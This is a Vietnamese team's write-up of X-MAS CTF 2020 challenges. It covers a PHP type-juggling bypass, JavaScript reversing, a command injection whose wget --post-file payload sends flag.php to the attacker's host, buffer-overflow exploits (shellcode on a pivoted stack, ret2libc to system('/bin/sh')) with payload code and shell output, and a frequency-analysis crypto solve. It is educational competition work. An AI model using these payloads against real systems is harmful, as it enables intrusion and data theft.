[Writeup] X-MAS CTF 2020 | Web, Pwn, Crypto, Re

PHAPHA_JIàN
15:48 05/01/2021

Nhóm Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com

WEB

author: n3mo

#PHP-Master

Vào bài ta có source code, bài này khá dễ nhưng cũng ngốn của mình khá nhiều thời gian, vì mình bị cuốn vào bypass các điều kiện.

<?php
include('flag.php');
$p1 = $_GET['param1'];
$p2 = $_GET['param2'];
if(!isset($p1) || !isset($p2)) {
    highlight_file(__FILE__);
    die();
}
if(strpos($p1, 'e') === false && strpos($p2, 'e') === false  && strlen($p1) === strlen($p2) && $p1 !== $p2 && $p1[0] != '0' && $p1 == $p2) {
    die($flag);
}
?>

Từ đề ta thấy, chỉ cần vượt qua điều kiện, p1 và p2 ko chưa e và ko bắt đầu là số 0, đồng thời p1 phải khác p2 và p1 cũng giống p2 lol

Ta để ý thấy ý của đề là chống mình sử dụng magic hash để bypass ==, vậy ta sử dụng fload để bypass bài này

Vậy 1.99999999999999==2, vật ta chỉ cần chỉnh lại cho len p1 bằng p2 là ta có flag

#Santa's consolation

console.log("%c██████╗░██╗░░░░░██╗░░░██╗██╗░░░██╗██╗░░██╗\n\██╔══██╗██║░░░░░██║░░░██║██║░░░██║██║░██╔╝\n██████╦╝██║░░░░░██║░░░██║██║░░░██║█████═╝░\n██╔══██╗██║░░░░░██║░░░██║██║░░░██║██╔═██╗░\n██████╦╝███████╗╚██████╔╝╚██████╔╝██║░╚██╗\n╚═════╝░╚══════╝░╚═════╝░░╚═════╝░╚═╝░░╚═╝\n", "color: #5cdb95");
console.log("🐢 Javascript Challenge 🐢");
console.log("Call win(<string>) with the correct parameter to get the flag");
console.log("And don't forget to subscribe to our newsletter :D");
function check(s) {
    const k = "MkVUTThoak44TlROOGR6TThaak44TlROOGR6TThWRE14d0hPMnczTTF3M056d25OMnczTTF3M056d1hPNXdITzJ3M00xdzNOenduTjJ3M00xdzNOendYTndFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYwRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOEZETXh3SE8ydzNNMXczTnp3bk4ydzNNMXczTnp3bk13RURmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmeUlUTThoak44TlROOGR6TThaak44TlROOGR6TThCVE14d0hPMnczTTF3M056d25OMnczTTF3M056dzNOeEVEZjRZRGZ6VURmM01EZjJZRGZ6VURmM01EZjFBVE04aGpOOE5UTjhkek04WmpOOE5UTjhkek04bFRPOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOGRUTzhoak44TlROOGR6TThaak44TlROOGR6TThSVE14d0hPMnczTTF3M056d25OMnczTTF3M056d1hPNXdITzJ3M00xdzNOenduTjJ3M00xdzNOenduTXlFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYzRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOGhETjhoak44TlROOGR6TThaak44TlROOGR6TThGak14d0hPMnczTTF3M056d25OMnczTTF3M056d25NeUVEZjRZRGZ6VURmM01EZjJZRGZ6VURmM01EZjFFVE04aGpOOE5UTjhkek04WmpOOE5UTjhkek04RkRNeHdITzJ3M00xdzNOenduTjJ3M00xdzNOendITndFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYxRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOFZETXh3SE8ydzNNMXczTnp3bk4ydzNNMXczTnp3WE94RURmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmeUlUTThoak44TlROOGR6TThaak44TlROOGR6TThkVE84aGpOOE5UTjhkek04WmpOOE5UTjhkek04WlRNeHdITzJ3M00xdzNOenduTjJ3M00xdzNOendITXhFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYza0RmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmMUVUTTAwMDBERVRDQURFUg==";
    const k1 = atob(k).split('').reverse().join('');
    return bobify(s) === k1;
}
function bobify(s) {
    if (~s.indexOf('a') || ~s.indexOf('t') || ~s.indexOf('e') || ~s.indexOf('i') || ~s.indexOf('z'))
        return "[REDACTED]";
    const s1 = s.replace(/4/g, 'a').replace(/3/g, 'e').replace(/1/g, 'i').replace(/7/g, 't').replace(/_/g, 'z').split('').join('[]');
    const s2 = encodeURI(s1).split('').map(c=>c.charCodeAt(0)).join('|');
    const s3 = btoa("D@\xc0\t1\x03\xd3M4" + s2);
    return s3;
}
function win(x) {
    return check(x) ? "X-MAS{" + x + "}" : "[REDACTED]";
}

Về cơ bản chương trình nhận input người dùng rồi sau đó đi qua hàm bobify và so sánh với k1 nếu đúng thì trả ra flag, tức nhiệm vụ của mình sẽ đi tìm string đúng cũng đồng thời là flag

Ta có chuỗi mã hóa cuối cùng là k1, ra sẽ đi từ cuối trở lại để tìm lại flag

Ta có chuỗi số được ngăn cách bởi | vậy ta sẽ remove nó và chuyển nó thành ascii sau đó ta sẽ có chuỗi urlencode

decode url ta được chuỗi sau

s[]a[]n[]t[]a[]z[]w[]i[]s[]h[]e[]s[]z[]y[]0[]u[]z[]c[]r[]a[]c[]i[]u[]n[]z[]f[]e[]r[]i[]c[]i[]t

Ta tiếp tục split [] => santazwisheszy0uzcraciunzfericit

Chuỗi flag ban đầu sẽ được replace bởi đoạn sau 

const s1=s.replace(/4/g,'a').replace(/3/g,'e').replace(/1/g,'i').replace(/7/g,'t').replace(/_/g,'z').

Vậy ta sẽ replace ngược lại ta sẽ ra flag: s4n74_**************************

#flag_checker

Tiếp tục là 1 bài php, ta có source như sau:

<?php
/* flag_checker */
include('flag.php');
if(!isset($_GET['flag'])) {
    highlight_file(__FILE__);
    die();
}
function checkFlag($flag) {
    $example_flag = strtolower('FAKE-X-MAS{d1s_i\$_a_SaMpL3_Fl4g_n0t_Th3_c0Rr3c7_one_karen_l1k3s_HuMu5.0123456789}');
    $valid = true;
    for($i = 0; $i < strlen($flag) && $valid; $i++)
        if(strpos($example_flag, strtolower($flag[$i])) === false) $valid = false;
    return $valid;
}
function getFlag($flag) {
    $command = "wget -q -O - https://kuhi.to/flag/" . $flag;
    $cmd_output = array();
    exec($command, $cmd_output);
    if(count($cmd_output) == 0) {
        echo 'Nope';
    } else {
        echo 'Maybe';
    }
}
$flag  = $_GET['flag'];
if(!checkFlag($flag)) {
    die('That is not a correct flag!');
}
getFlag($flag);
?>

input của mình sẽ được đưa vào hàm checkflag, nếu input của mình có chưa các ký tự không ở trong fake flag thì sẽ ko thể thực hiện bước tiếp theo là hàm getflag

ở hàm get flag ta sẽ wget tới 1 url+input của mình, nhiệm vụ đã rõ, bài này là command injection

nhìn lại các ký tự được phép, ta có ${}- => ta có thể sử dụng ${IFS} để bypass space, input của mình truyền vào server như sau

flag=${IFS}ur_ip

tiếp theo ta cần đọc file flag.php

sau 1 lúc gg thì mình tìm ra option wget with file 

flag=${IFS}--post-file${IFS}flag.php${IFS}urip

lưu ý mình lắng nghe ở cổng 80 vì trong các ký tự được phép thì không có ":"

PWN

author: Quasar (Team: UIT.ζp33d_0∫_Ψ1m3)

#Do I know you?

Bài này có điểm số là 45. Đầu tiên mình sẽ đi vào những phân tích cơ bản qua các lệnh file và checksec:

higgs@DESKTOP-PMDB9KR:/mnt/c/Users/19520/Music/X-MasCTF/doiknowyou$ file chall
chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e0e53c0345a73991671f9f6548621739ae38efda, stripped
higgs@DESKTOP-PMDB9KR:/mnt/c/Users/19520/Music/X-MasCTF/doiknowyou$ checksec chall
[*] '/mnt/c/Users/19520/Music/X-MasCTF/doiknowyou/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Mình sẽ dùng IDA pro để xem mã giả c:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char v4; // [rsp+0h] [rbp-30h]
  __int64 v5; // [rsp+20h] [rbp-10h]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]
  v6 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  puts("Hi there. Do I recognize you?");
  gets(&v4, 0LL);
  if ( v5 != 0xDEADBEEFLL )
  {
    puts("Nope.....I have no idea who you are");
    exit(0);
  }
  puts("X-MAS{Fake flag. You'll get the real one from the server }");
  return 0LL;
}

Đọc mã giả bạn sẽ thấy rằng chương trình bị lỗi buffer overflow tại hàm gets. Ở bài này bạn chỉ cần đè 4 bytes tại offset $rbp-0x10 bằng 0xdeadbeef (tức là biến v5 như IDA pro hiển thị) thì khi chạy trên server chỗ "puts("X-MAS{" sẽ in ra flag thật cho chúng ta (gợi ý ở hàm puts):

higgs@DESKTOP-PMDB9KR:/mnt/c/Users/19520/Music/X-MasCTF/doiknowyou$ python echall.py
[+] Opening connection to challs.xmas.htsp.ro on port 2008: Done
[*] Switching to interactive mode
X-MAS{ah_yes__i_d0_rememb3r_you}
[*] Got EOF while reading in interactive
Ban đầu thì mình nghĩ challenge này khá là bưởi nhưng sau đó mình mới biết challenge này còn liên quan đến 1 challenge khác đó là "Ministerul Mediului" (chall này mình giải chưa ra nên ko viết writeup được :) )

code khai thác của mình: echall.py

flag: X-MAS{***************************}

#Naughty?

Ta bắt đầu với các bước phân tích cơ bản cách các lệnh file, checksec, seccomp-tools:

checksec:

higgs@DESKTOP-PMDB9KR:/mnt/c/Users/19520/Music/X-MasCTF/naughty$ gdb-gef chall
Reading symbols from chall...
(No debugging symbols found in chall)
GEF for linux ready, type `gef' to start, `gef config' to configure
88 commands loaded for GDB 10.1 using Python engine 3.9
[*] 3 commands could not be loaded, run `gef missing` to know why.
gef➤  checksec
[+] checksec for '/mnt/c/Users/19520/Music/X-MasCTF/naughty/chall'
Canary                        : ✘
NX                            : ✘
PIE                           : ✘
Fortify                       : ✘
RelRO                         : Partial
gef➤

Qua checksec ta thấy được chương trình không bật một trình bảo về nào cả.

seccomp-tools:

higgs@DESKTOP-PMDB9KR:/mnt/c/Users/19520/Music/X-MasCTF/naughty$ seccomp-tools dump  ./chall
Tell Santa what you want for XMAS

Phân tích qua seccomp-tools thì chương trình này không ngăn chặn ta gọi 1 systemcall nào.

file:

higgs@DESKTOP-PMDB9KR:/mnt/c/Users/19520/Music/X-MasCTF/naughty$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d9d6dbd83f78de807736b72dcfba4d4be904bd44, stripped
Qua lệnh file cung cấp cho ta thông tin đây là 1 tệp elf 64 bit, nhưng còn 1 điều, bạn hãy chú ý từ cuối cùng stripped. Mình có biết chút ít về stripped, khi 1 chương trình dược biên dịch theo cách thông thường thì gcc sẽ thêm các debugging symbols vào file binary để cho debug đơn giản hơn, nhưng khi biên dịch bằng gcc sử dụng flag -s (stripped) thì trình biên dịch sẽ gỡ bỏ các debugging symbols làm cho kích cỡ của file sẽ nhỏ hơn và việc debug trở nên khó khăn hơn.
Muốn biết stripped gây khó khăn cho debug như thế nào các bạn hãy mở gdb lên và gõ lệnh info function:
higgs@DESKTOP-PMDB9KR:/mnt/c/Users/19520/Music/X-MasCTF/naughty$ gdb-pwndbg chall
Reading symbols from chall...
(No debugging symbols found in chall)
pwndbg: loaded 192 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
pwndbg> info func
All defined functions:
Non-debugging symbols:
0x0000000000400510  puts@plt
0x0000000000400520  fgets@plt
0x0000000000400530  setvbuf@plt
0x0000000000400540  exit@plt
pwndbg>

Các bạn có thể thấy các symbols plt hin thị còn các hàm như main thì lại không hiện ra. Việc này sẽ gây cản trở cho các bạn đặt break point để debug. Sẽ có 1 số cách giúp chúng ta có thể debug được, mình sẽ giới thiệu 1 cách đơn giản (cách này chỉ dùng được khi Pie disable) đó là bạn tìm địa chỉ của hàm main bằng các công cụ như là IDA pro, r2, ... sau đó đặt break point tại địa chỉ đó thì ta có thể debug bình thường:

Sử dụng r2 tìm địa chỉ hàm main (bạn nào ko quen dùng tools này thì dùng IDA pro lấy vẫn được nhé):

higgs@DESKTOP-PMDB9KR:/mnt/c/Users/19520/Music/X-MasCTF/naughty$ r2 chall
[0x00400550]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x00400550]> afl
0x00400550    1 42           entry0
0x00400510    1 6            sym.imp.puts
0x00400520    1 6            sym.imp.fgets
0x00400530    1 6            sym.imp.setvbuf
0x00400540    1 6            sym.imp.exit
0x00400630    5 119  -> 62   entry.init0
0x00400600    3 34   -> 29   entry.fini0
0x00400590    4 42   -> 37   fcn.00400590
0x004004e8    3 23           fcn.004004e8
0x00400637    3 159          main

Địa chỉ hàm main: 0x00400637. Có được địa chỉ của hàm main rồi thì ta đặc break point rồi debug thôi:

higgs@DESKTOP-PMDB9KR:/mnt/c/Users/19520/Music/X-MasCTF/naughty$ gdb-pwndbg chall
Reading symbols from chall...
(No debugging symbols found in chall)
pwndbg: loaded 192 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
pwndbg> b*0x00400637
Breakpoint 1 at 0x400637
pwndbg> r
Starting program: /mnt/c/Users/19520/Music/X-MasCTF/naughty/chall
pwndbg>
Breakpoint 1, 0x0000000000400637 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────
*RAX  0x400637 ◂— push   rbp

IDA pro để xem mã giả:


__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char s; // [rsp+0h] [rbp-30h]
  __int16 v5; // [rsp+2Eh] [rbp-2h]
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  v5 = 0xE4FFu;
  puts("Tell Santa what you want for XMAS");
  fgets(&s, 71, stdin);
  puts("Nice. Hope you haven't been naughty");
  if ( v5 != 0xE4FFu )
  {
    puts("Oh no....no gifts for you this year :((");
    exit(0);
  }
  return 0LL;
}
Mình sẽ mô tả sơ về luồng thực thi chương trình. Chương trình khai báo buffer v6 với offset $rbp-0x30 và v5 với offset là rbp-0x2. Ban đầu chương trình sẽ gán v5 = 0xE4FF sau đó cho cho gọi hàm fgets để nhập vào giá trị cho v5 là 71 bytes. sau đó tiếp tục kiểm tra v5 có bằng 0xE4FF hay không nếu không bằng thực hiện lệnh exit(0).
Nhìn qua thì ta có thể dễ dàng thấy lỗi buffer overflow xảy ra ở fgets khi offset của s bằng $rbp - 0x30 còn fgets cho ta nhật vào đến 71 == 0x47 tức là đọc dư 0x47 -0x30 = 0x17 (kết quả này đã tính luôn ghì đè biến v5). Với 0x17 thì ta có thể ghì đè được $rbp và return address và còn dư 7 bytes.
Đã xong công đoạn phân tích tiếp theo mình sẽ nêu lên ý tưởng khai thác bài này của mình. Bởi vì các cơ chế bảo về đều disable hết nên mình nghĩ bài này sẽ có nhiều cách khai thác. Vì ở đây NX disable (khi NX enable sẽ ngăn chặn việc thực thi các đoạn shellcode trên 1 số vùng nhất định ví dụ như stack hay heap) nên mình sẽ chọn cách là chèn shellcode. Vì vậy ta phải xác định được địa chỉ bắt đầu của shellcode sau đó ta cho return address trỏ vào địa chỉ đó, khi đó shellcode sẽ được thực thi.
Để giải quyết vấn đề này mình sẽ chọn cách đó là điều khiển $rbp trỏ vào vùng nhớ .bss (vùng nhớ để lưu trữ các biến toàn cục và các biến chưa được khởi tạo dữ liệu vd: int i;). Vì vùng nhớ .bss là vùng nhớ cố định (khi Pie disable) nên ta có thể gán $rbp cho một giá trị địa chỉ do ta chỉ định trên vùng nhơ .bss . Vậy làm sao để $rbp trỏ vào .bss ? Bạn hãy chú ý đến đoạn cuối của hàm main():
│       ┌─< 0x004006b7      7416           je 0x4006cf
│       │   0x004006b9      488d3df80000.  lea rdi, qword str.Oh_no....no_gifts_for_you_this_year_: ; 0x4007b8 ; "Oh no....no gifts for you this year :((" ; const char *s
│       │   0x004006c0      e84bfeffff     call sym.imp.puts           ; int puts(const char *s)
│       │   0x004006c5      bf00000000     mov edi, 0                  ; int status
│       │   0x004006ca      e871feffff     call sym.imp.exit           ; void exit(int status)
│       │   ; CODE XREF from main @ 0x4006b7
│       └─> 0x004006cf      b800000000     mov eax, 0
│           0x004006d4      c9             leave
└           0x004006d5      c3             ret

Bạn hãy chú ý đến lệnh leave. Lệnh leave tương đương:

   mov rsp, rbp
   pop rbp

Điều này có nghĩa khi ta ghè đè giá trị của $rbp trên stack lệnh leave sẽ lấy giá trị này lưu vào trong $rbp khi đó ta đã trỏ dc $rbp vào địa chỉ mong muốn. Ta sẽ tìm địa chỉ của phân vùng của .bss bằng lệnh vmmap trên gdb:

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x401000 r-xp     1000 0      /mnt/c/Users/19520/Music/X-MasCTF/naughty/chall
          0x600000           0x601000 r-xp     1000 0      /mnt/c/Users/19520/Music/X-MasCTF/naughty/chall
          0x601000           0x602000 rwxp     1000 1000   /mnt/c/Users/19520/Music/X-MasCTF/naughty/chall
    0x7ffff7dee000     0x7ffff7fa8000 r-xp   1ba000 0      /usr/lib/x86_64-linux-gnu/libc-2.31.so
    0x7ffff7fa8000     0x7ffff7fa9000 ---p     1000 1ba000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
    0x7ffff7fa9000     0x7ffff7fac000 r-xp     3000 1ba000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
    0x7ffff7fac000     0x7ffff7faf000 rwxp     3000 1bd000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
    0x7ffff7faf000     0x7ffff7fb5000 rwxp     6000 0
    0x7ffff7fcd000     0x7ffff7fd0000 r--p     3000 0      [vvar]
    0x7ffff7fd0000     0x7ffff7fd2000 r-xp     2000 0      [vdso]
    0x7ffff7fd2000     0x7ffff7ffb000 r-xp    29000 0      /usr/lib/x86_64-linux-gnu/ld-2.31.so
    0x7ffff7ffc000     0x7ffff7ffd000 r-xp     1000 29000  /usr/lib/x86_64-linux-gnu/ld-2.31.so
    0x7ffff7ffd000     0x7ffff7ffe000 rwxp     1000 2a000  /usr/lib/x86_64-linux-gnu/ld-2.31.so
    0x7ffff7ffe000     0x7ffff7fff000 rwxp     1000 0
    0x7ffffffde000     0x7ffffffff000 rwxp    21000 0      [stack]

Hãy chú ý đến hàng thứ 3 ta thấy được vùng nhớ .bss bắt đầu từ địa chỉ 0x601000 để chọn địa chỉ cho $rbp trỏ tới mình sẽ lấy địa chỉ bắt đầu của .bss 0x601000 + 0x500 = 0x601500

    v5 = 0xe4ff000000000000
    main =   0x0040067b #mov word [var_2h], 0xe4ff
    bss_addr = 0x601500 # 0x601000 + 0x500  ==> 0x601000 -> dia chi bat dau cua .bss
    payload = "A"*40
    payload += p64(v5)
    payload += p64(bss_addr)
    payload += p64(main)
Đầu tiên mình sẽ lấp đầy 40 bytes của stack bằng các ký tự "A" tiếp theo mình phải ghì đè 2 byte từ $rbp -0x2 = 0xe4ff bởi vè nếu có 1 giá trị khác chương trình sẽ gọi hàm exit() và ngay lập tức sẽ ngắt chương trình khi câu lệnh return còn chưa được thực thi. 8 bytes tiếp theo chính là giá trị ghì đè $rbp, 8 bytes tiếp theo là giá trị return address mình sẽ điều hướng nó quay trở lại hàm main 1 lần nữa.
Có 1 lưu ý khi quay trở lại hàm main:
push rbp
mov rbp, rsp

Đây là 2 câu lệnh luôn phải có khi bắt đầu một hàm , nhưng nếu quay lại từ đây thì giá trị của rbp sẽ bị thay đổi vì vậy ta phải quay về ở một địa chỉ cao hơn trong main để tránh 2 lệnh này. Mình sẽ cho quay lại tại địa chỉ main = 0x0040067b #mov word [var_2h], 0xe4ff

bss_addr -= 0x30 # quay lai dinh cua buffer
    payload = shellcode
    payload += 'A'*13
    payload += p64(v5)
    payload += p64(bss_addr+0x30) # ebp  -> 1 gia tri bat ky
    payload += p64(bss_addr) # ret_ addr -> tro ve dinh stack
    p.sendline(payload)

Ở payload thứ 2 thì đầu tiên mình sẽ đưa shellcode vào sau đó lấp đầy nhưng bytes kia bằng 1 ký tự bất kỳ sao cho đủ 40 bytes. 8 bytes tiếp theo để ta ghì đè biến v5 tại $rbp-0x2 để chương trình không chạy vào exit. 8 bytes tiếp theo là $rbp lúc này ta có thể nhập tùy ý. 8 bytes tiếp theo là địa chỉ return address ta sẽ ghì đè nó bằng địa chỉ $rbp-0x30 (đầu của buffer)

[+] Opening connection to challs.xmas.htsp.ro on port 2000: Done
[*] Switching to interactive mode
Nice. Hope you haven't been naughty
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat /home/ctf/flag.txt
X-MAS{****************************}
[*] Got EOF while reading in interactive
$

Code khai thác: echall.py

#Ready for Xmas?

Ta tiếp tục các bước phân tích cơ bản như ở trên, mình sẽ lược bỏ bớt vì nó đã khá dài.

Đây là 1 file elf 64 bits đã bị stripped nên ta sẽ sử dụng cách ở trên để debug

checksec:

[*] '/mnt/c/Users/19520/Music/X-MasCTF/ready_for_xmas/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Xem mã giả bằng IDA pro:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char haystack; // [rsp+0h] [rbp-40h]
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  if ( byte_601099 )
    exit(0);
  memset(aCatFlag, 0, 9uLL);
  puts("Hi. How are you doing today, good sir? Ready for Christmas?");
  gets(&haystack, 0LL);
  if ( strstr(&haystack, "sh") || strstr(&haystack, "cat") )
    exit(0);
  byte_601099 = 1;
  mprotect(&byte_601099, 1uLL, 1);
  return 0LL;
}

Mình sẽ nói qua luồng thực thi chính của chương trình. Chương trình sẽ cho ta nhập vào từ buffer haystack tại offset $rbp-0x40 với hàm gets -> lỗi buffer overflow. Sau đó kiểm tra chuỗi ta nhập vào có xuất hiện 1 trong 2 ký chuỗi "sh" và "cat" thì chương trình sẽ thực hiện hàm exit(0).

Ý tưởng khai thác của mình đó là sử dụng kỹ thuật điều khiển $rbp trỏ đến phân vùng .bss như trên bởi vì bạn có thể để ý biến byte_601099 sẽ được gán bằng 1 ở trên hàm mprotect nếu quay lại thì chương trình sẽ kiểm tra giá trị của nó nếu nó bầng 1 thì sẽ exit ngay. Nếu bạn sử dụng kỹ thuật ret2libc thông thường thì bạn bắt buộc phải quay lại đầu hàm main bởi vì lúc lệnh leave thực thi thì $rbp sẽ mang giá trị 0x4141414141414141 (giá trị rác mà bạn đã đè ở payload đầu tiên) với kỹ thuật này bạn phải quay lại hàm main nơi có 2 lệnh:

push rbp
mov rbp, rsp

Nếu ko qua 2 lệnh này thì $rbp sẽ mang giá trị rác và chương trình sẽ bị crash. Nếu quay lại đầu hàm main thì ở if(byte_601099) chương trình sẽ nhảy vào exit(0) và kết thúc. Vì vậy ta cần 1 địa chỉ xác định để ghì đè $rbp. Nên mình sẽ sử dụng kỹ thuật cũ như bài trên. Tiếp theo là hàm strstr hàm này sẽ đọc chuỗi nhập vào để so sánh đến khi gặp ký tự NUll vì vậy ta có thể chèn vào '\x00' để hàm này ko tiếp tục kiểm tra để ta có thể chạy dc system("/bin/sh").

Đó là các vấn đề ta phải vượt qua, phần còn lại ta dùng kỹ thuật ret2libc để leak ra địa chỉ của một hàm bất kỳ sau đó trừ cho offset của nó là ra được địa chỉ libc base. Cộng các địa chỉ này vs offset lấy từ libc ta sẽ có được hàm libc tương ứng.

Mình sẽ nói sơ qua về kỹ thuật ret2libc. Ở payload đầu tiên ta sẽ ghì đè return address là địa chỉ gadget pop rdi ; ret ta tìm địa chỉ này bằng cách dùng công cụ ROPgadget:

higgs@DESKTOP-PMDB9KR:/mnt/c/Users/19520/Music/X-MasCTF/ready_for_xmas$ ROPgadget --binary chall
Gadgets information
============================================================
0x00000000004006de : adc byte ptr [rax], ah ; jmp rax
.......
0x00000000004008e3 : pop rdi ; ret
0x0000000000400760 : push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x4006f5
0x00000000004005e6 : ret

Ta chỉ quân tâm đến gadget pop rdi; ret nên những cái còn lại mình sẽ lọc bớt. Vậy khi ghi đè địa chỉ return address bằng gadget này thì nó sẽ làm gì?

rbp
return address -> gadget: pop rdi; ret
addr_ 1
addr_2

Lệnh pop rdi sẽ lấy addr_1 cho vào thanh ghi rdi; ret sẽ làm thanh ghi $rip trỏ vào addr_2

Vậy để leak được địa chỉ của 1 hàm bất kỳ ta sẽ cho rdi->got@function ; ret-> plt@puts (vì trong chương trình chỉ gọi mỗi hàm puts để in ra output nên chỉ có plt@puts là xuất ra được). got@function ở đây bạn cần thay vào địa chỉ got của 1 hàm bất kỳ nằm trong GOT của chương trình hiện tại . GOT là viết tắt của global offset table theo mình hiểu sơ qua đó là khi 1 chương trình gọi 1 hàm trong thư viện thì nó sẽ lưu địa chỉ của hàm đó lại trong GOT để lần sau chương trình có gọi lại hàm đó thì chương trình chỉ cần lấy địa chỉ cùa hàm đó trong GOT để tái sử dụng

code leak (mình sẽ tiến hành leak address của puts):

 p.recvuntil('Hi. How are you doing today, good sir? Ready for Christmas?\n')
    payload = "A"*0x40
    payload += p64(bss_addr)    #rbp
    payload += p64(pop_rdi)
    payload += p64(elf.symbols['got.puts'])
    payload += p64(elf.symbols['plt.puts'])
    payload += p64(main)
    p.sendline(payload)

Sau đó thì địa chỉ của hàm puts sẽ được in ra lấy địa chỉ này trừ cho offset của nó trên libc (offset là cố định không bao giờ thay đổi với mỗi libc). Ta lấy địa chỉ của hàm puts - offset_puts = base_libc thì ta sẽ ra được địa chỉ cơ sở của libc. lấy địa chỉ này cộng với offset của tương ứng của hàm đó ta sẽ ra địa chỉ của nó trên chương trình đang thực thi:

    recieved = p.recvline().strip()
    leak_puts = u64(recieved.ljust(8,b"\x00")) # lay dia chi cua ham puts dc in ra
   
    print "puts: ", hex(leak_puts)
    offset_puts = libc.symbols['puts']
    print "off_puts: ", hex(offset_puts)
    libc_base = leak_puts - offset_puts

Việc còn lại ta chỉ cần thay chỗ rdi thành địa chỉ của "/bin/sh" chỗ ret thì ta cho 1 địa chỉ rác còn kế tiếp là địa chỉ của hàm system:

    payload = "A"*0x1f
    payload += "\x00"
    payload += "A"*0x20
    payload +=  p64(bss_addr+0x30)   #rbp 
    payload += p64(pop_rdi)
    payload += p64(binsh)
    payload += p64(pop_ret)
    payload += p64(system)
    p.sendline(payload)

chạy file exploit:

[+] Opening connection to challs.xmas.htsp.ro on port 2001: Done
puts:  0x7f8ba521baa0
off_puts:  0x80aa0
[*] Switching to interactive mode
$ cat /home/ctf/flag.txt
X-MAS{********************}
$

file exploit: echall.py

Cảm ơn các bạn đã đọc .Do kiến thức còn hạn hẹp có gì sai sót mong các bạn góp ý mình sẽ sửa ngay!!!

Cuối cùng, cảm ơn anh Phiêu Lãng đã giúp đỡ nhiệt tình, nhờ vậy mà em mới giải quyết được bài này.

CRYPTO

author: LTTN

#Scrambled Carol

Mọi người có thể xem file đề ở đây.

Ban đầu mình tập trung vào việc tìm seed nên loay hoay mãi vẫn không thể làm ra được gì 😦.

Để ý một chút thì ta thấy output là rất lớn , 2568 kí tự -> Sau khi giải mã ta sẽ có 1284 kí tự.

Chính vì thế nên ta có thể sử dụng phương pháp Phân tích tần suất.

Nói cách đơn giản thì ‘ etaoinshrdlcumwfgypbvkjxqz là thứ tự các kí hiệu xuất hiện nhiều nhất trong các văn bản thông thường. Lúc này ta chỉ cần thay thế các kí tự xuất hiện nhiều nhất trong output theo thứ tự như các kí tự ở trên.

Mình ra được như thế này:

<p><code>q holy night he stars are brightly shiningkjt is the night of our dear aviours birthxjong lay the world in sin and error piningkjill ze appeard and the soul felt its worthxj thrill of hopek the weary world reoiceskjor yonder breas a new and glorious mornxjjall on your nees q hear the angel voicesjq night divinek q night when hrist was bornjq night divinek q nightk q night ivinexjjed by the light of aith serenely beamingkjith glowing hearts by zis cradle we standxjo led by light of a star sweetly gleamingkjzere come the wise men from the qrient landxjhe ing of ings lay thus in lowly mangerjn all our trials born to be our friendxjjze nows our needk to our weanesses no strangerkjehold your ing efore zim lowly bendjehold your ingk efore zim lowly bendjjruly ze taught us to love one anotherjzis law is love and zis gospel is peacexjhains shall ze brea for the slave is our brotherjnd in zis name all oppression shall ceasexjweet hymns of oy in grateful chorus raise wekjet all within us praise zis holy namexjjhrist is the ord q praise zis ame foreverkjzis power and glory evermore proclaimxjzis power and glory evermore proclaimx jjhis carol was encoded to garbage by zs gangxjhe flag is maswasneverasgoodasitisthisyearj</code></p>

Có nhìu kí tự có nghĩa và cũng có nhiều kí tự kì lạ hoặc sai chính tả chút ít. Sở dĩ như vậy là tại vì trong output có dến 46 kí tự phân biệt, nhưng các kí tự dùng để thay thế của mình chỉ có 27 nên 19 kí tự có số lần xuất hiện thấp sẽ bị bỏ qua.

Đến đây nhìn vào cuối đoạn ouput trên ta thấy flag is maswasneverasgoodasitisthisyearj

Còn đây là mapping theo code như code ở trên

